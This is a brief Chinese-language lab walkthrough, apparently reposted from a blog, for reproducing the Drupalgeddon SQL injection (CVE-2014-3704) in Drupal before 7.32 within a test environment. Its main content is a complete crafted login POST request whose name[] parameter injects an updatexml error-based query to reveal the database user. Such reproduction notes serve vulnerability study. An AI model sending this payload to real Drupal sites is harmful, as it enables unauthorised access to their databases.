Drupalgeddon” SQL注入漏洞（CVE-2014-3704）

拉取环境

访问页面后配置界面

配置完成后显示下图

然后登录界面抓包

修改数据包

POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a ----------------------------------- Drupal ＜7.32“ Drupalgeddon” SQL注入漏洞（CVE-2014-3704） https://blog.51cto.com/u_15127631/4356420